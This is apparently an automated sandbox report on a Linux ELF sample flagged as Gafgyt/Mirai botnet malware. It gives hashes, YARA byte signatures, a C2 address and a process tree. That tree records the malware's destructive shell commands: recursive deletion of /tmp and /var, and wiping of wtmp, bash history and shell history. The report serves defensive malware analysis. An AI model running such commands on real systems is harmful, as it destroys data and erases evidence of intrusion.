Edit tour

Linux Analysis Report
RYrydry.elf

Overview

General Information

Sample name:	RYrydry.elf
Analysis ID:	1670525
MD5:	71e9b1130b439096029a80f48dc698bc
SHA1:	efd6f9026bf60837412f9664ff3c89446fa48011
SHA256:	e9b1b9c9591493551575e756f79938d868d3067eb733166a85896232205cc6bb
Tags:	elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai

Score:	84
Range:	0 - 100

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Yara detected Mirai

Sample deletes itself

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are user agent strings indicative of HTTP manipulation

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1670525
Start date and time:	2025-04-21 20:40:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	RYrydry.elf
Detection:	MAL
Classification:	mal84.troj.evad.linELF@0/1@0/0

Warnings

VT rate limit hit for: 31.58.58.113:666
VT rate limit hit for: http://127.0.0.1/bins.sh;sh
VT rate limit hit for: http://127.0.0.1/scan.py

Runtime Messages

Command:	/tmp/RYrydry.elf
PID:	5434
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	[ CONNECTED ] IP: 0.0.0.0 \|\| Arch Type: x86_64 \|\| Endianness Type: LITTLE_ENDIAN]
Standard Error:	sh: 1: history: not found sh: 1: history: not found

Process Tree

system is lnxubuntu20

RYrydry.elf (PID: 5434, Parent: 5358, MD5: 71e9b1130b439096029a80f48dc698bc) Arguments: /tmp/RYrydry.elf

RYrydry.elf New Fork (PID: 5435, Parent: 5434)

RYrydry.elf New Fork (PID: 5436, Parent: 5435)

RYrydry.elf New Fork (PID: 5437, Parent: 5436)

RYrydry.elf New Fork (PID: 5439, Parent: 5437)

sh (PID: 5439, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"

sh New Fork (PID: 5440, Parent: 5439)

rm (PID: 5440, Parent: 5439, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /tmp/RYrydry.elf /tmp/config-err-IN1GlB /tmp/dmesgtail.log /tmp/hsperfdata_root /tmp/snap-private-tmp /tmp/snap.lxd /tmp/ssh-ntFb5z3TQVeu /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-ModemManager.service-rehHTg /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-colord.service-PB7Ovf /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-fwupd.service-369SSg /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-switcheroo-control.service-jxKacf /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-logind.service-WfFmsi /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-resolved.service-9mYjrg /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-timedated.service-7ycQxi /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-upower.service-VKEayg /tmp/vmware-root_727-4290690966 /var/backups /var/cache /var/crash /var/lib /var/local /var/lock /var/log /var/mail /var/metrics /var/opt /var/run /var/snap /var/spool /var/tmp /var/run/NetworkManager /var/run/acpid.pid /var/run/acpid.socket /var/run/apport.lock /var/run/avahi-daemon /var/run/blkid /var/run/cloud-init /var/run/console-setup /var/run/crond.pid /var/run/crond.reboot /var/run/cryptsetup /var/run/cups /var/run/dbus /var/run/dmeventd-client /var/run/dmeventd-server /var/run/gdm3 /var/run/gdm3.pid /var/run/initctl /var/run/initramfs /var/run/irqbalance /var/run/lock /var/run/log /var/run/lvm /var/run/mono-xsp4 /var/run/mono-xsp4.pid /var/run/motd.d /var/run/mount /var/run/multipathd.pid /var/run/netns /var/run/network /var/run/screen /var/run/sendsigs.omit.d /var/run/shm /var/run/snapd /var/run/snapd-snap.socket /var/run/snapd.socket /var/run/speech-dispatcher /var/run/spice-vdagentd /var/run/sshd /var/run/sshd.pid /var/run/sudo /var/run/systemd /var/run/tmpfiles.d /var/run/udev /var/run/udisks2 /var/run/unattended-upgrades.lock /var/run/user /var/run/utmp /var/run/uuidd /var/run/vmware /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-ModemManager.service-rJRv0g /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-colord.service-2NWDdf /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-fwupd.service-eWBgFg /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-switcheroo-control.service-YlFEtg /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-logind.service-VhFl6g /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-resolved.service-GDC7pj /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-timedated.service-Ukncpj /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-upower.service-FqJmSi

RYrydry.elf New Fork (PID: 5444, Parent: 5437)

sh (PID: 5444, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf /var/log/wtmp"

sh New Fork (PID: 5445, Parent: 5444)

rm (PID: 5445, Parent: 5444, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /var/log/wtmp

RYrydry.elf New Fork (PID: 5446, Parent: 5437)

sh (PID: 5446, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf ~/.bash_history"

sh New Fork (PID: 5447, Parent: 5446)

rm (PID: 5447, Parent: 5446, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /root/.bash_history

RYrydry.elf New Fork (PID: 5448, Parent: 5437)

sh (PID: 5448, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "history -c;history -w"

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
RYrydry.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
RYrydry.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
RYrydry.elf	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0x91d:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
RYrydry.elf	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x5d64:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
RYrydry.elf	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x843:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
RYrydry.elf	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x26b1:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
RYrydry.elf	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x3ea6:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x3f0a:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x7c01:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
RYrydry.elf	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x131d:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x13d2:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x1613:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
RYrydry.elf	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x961e:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
RYrydry.elf	Linux_Trojan_Gafgyt_148b91a2	unknown	unknown	0x18c6:$a: C6 45 DB FC EB 04 C6 45 DB FE 0F B6 45 DB 88 45 FF 48 8D 75 FF 8B
RYrydry.elf	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x6115:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
RYrydry.elf	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x2007:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
RYrydry.elf	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x765:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
RYrydry.elf	Linux_Trojan_Gafgyt_859042a0	unknown	unknown	0x3a0e:$a: 45 A8 48 83 C0 01 48 89 45 C0 EB 05 48 83 45 C0 01 48 8B 45 C0 0F
RYrydry.elf	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x640b:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
Click to see the 10 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5434.1.0000000000400000.0000000000410000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5434.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0x91d:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
5434.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x5d64:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5434.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x843:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
5434.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x26b1:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
5434.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x3ea6:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x3f0a:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x7c01:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5434.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x131d:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x13d2:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x1613:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
5434.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x961e:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5434.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_148b91a2	unknown	unknown	0x18c6:$a: C6 45 DB FC EB 04 C6 45 DB FE 0F B6 45 DB 88 45 FF 48 8D 75 FF 8B
5434.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x6115:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5437.1.0000000000400000.0000000000410000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5434.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x2007:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
5434.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x765:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
5434.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_859042a0	unknown	unknown	0x3a0e:$a: 45 A8 48 83 C0 01 48 89 45 C0 EB 05 48 83 45 C0 01 48 8B 45 C0 0F
5434.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x640b:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5437.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0x91d:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
5437.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x5d64:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5437.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x843:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
5437.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x26b1:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
5437.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x3ea6:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x3f0a:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x7c01:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5437.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x131d:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x13d2:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x1613:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
5437.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x961e:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5437.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_148b91a2	unknown	unknown	0x18c6:$a: C6 45 DB FC EB 04 C6 45 DB FE 0F B6 45 DB 88 45 FF 48 8D 75 FF 8B
5437.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x6115:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5437.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x2007:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
5437.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x765:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
5437.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_859042a0	unknown	unknown	0x3a0e:$a: 45 A8 48 83 C0 01 48 89 45 C0 EB 05 48 83 45 C0 01 48 8B 45 C0 0F
5437.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x640b:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5435.1.0000000000400000.0000000000410000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5435.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0x91d:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
5435.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x5d64:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5435.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x843:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
5435.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x26b1:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
5435.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x3ea6:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x3f0a:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x7c01:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5435.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x131d:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x13d2:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x1613:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
5435.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x961e:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5435.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_148b91a2	unknown	unknown	0x18c6:$a: C6 45 DB FC EB 04 C6 45 DB FE 0F B6 45 DB 88 45 FF 48 8D 75 FF 8B
5435.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x6115:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5435.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x2007:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
5435.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x765:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
5435.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_859042a0	unknown	unknown	0x3a0e:$a: 45 A8 48 83 C0 01 48 89 45 C0 EB 05 48 83 45 C0 01 48 8B 45 C0 0F
5435.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x640b:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5436.1.0000000000400000.0000000000410000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5436.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0x91d:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
5436.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x5d64:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5436.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x843:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
5436.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x26b1:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
5436.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x3ea6:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x3f0a:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x7c01:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5436.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x131d:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x13d2:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x1613:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
5436.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x961e:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5436.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_148b91a2	unknown	unknown	0x18c6:$a: C6 45 DB FC EB 04 C6 45 DB FE 0F B6 45 DB 88 45 FF 48 8D 75 FF 8B
5436.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x6115:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5436.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x2007:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
5436.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x765:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
5436.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_859042a0	unknown	unknown	0x3a0e:$a: 45 A8 48 83 C0 01 48 89 45 C0 EB 05 48 83 45 C0 01 48 8B 45 C0 0F
5436.1.0000000000400000.0000000000410000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x640b:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
Process Memory Space: RYrydry.elf PID: 5434	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: RYrydry.elf PID: 5435	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: RYrydry.elf PID: 5436	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: RYrydry.elf PID: 5437	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Click to see the 55 entries

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: RYrydry.elf

Malware Configuration Extractor: Gafgyt {"C2 url": "31.58.58.113:666"}

Multi AV Scanner detection for submitted file

Source: RYrydry.elf	Virustotal: Detection: 51%			Perma Link
Source: RYrydry.elf	ReversingLabs: Detection: 63%

Source: global traffic

TCP traffic: 192.168.2.13:42644 -> 31.58.58.113:666

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 31.58.58.113
Source: unknown	TCP traffic detected without corresponding DNS query: 31.58.58.113
Source: unknown	TCP traffic detected without corresponding DNS query: 31.58.58.113
Source: unknown	TCP traffic detected without corresponding DNS query: 31.58.58.113
Source: unknown	TCP traffic detected without corresponding DNS query: 31.58.58.113
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26

Source: RYrydry.elf	String found in binary or memory: http://127.0.0.1/bins.sh;sh
Source: RYrydry.elf	String found in binary or memory: http://127.0.0.1/scan.py
Source: RYrydry.elf	String found in binary or memory: http://127.0.0.1/scan.py127.0.0.1bins.shtftp1.shtftp2.shftp1.shntpdsshdopensshbashtftpwgetcronftppft

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_148b91a2 Author: unknown
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_859042a0 Author: unknown
Source: RYrydry.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
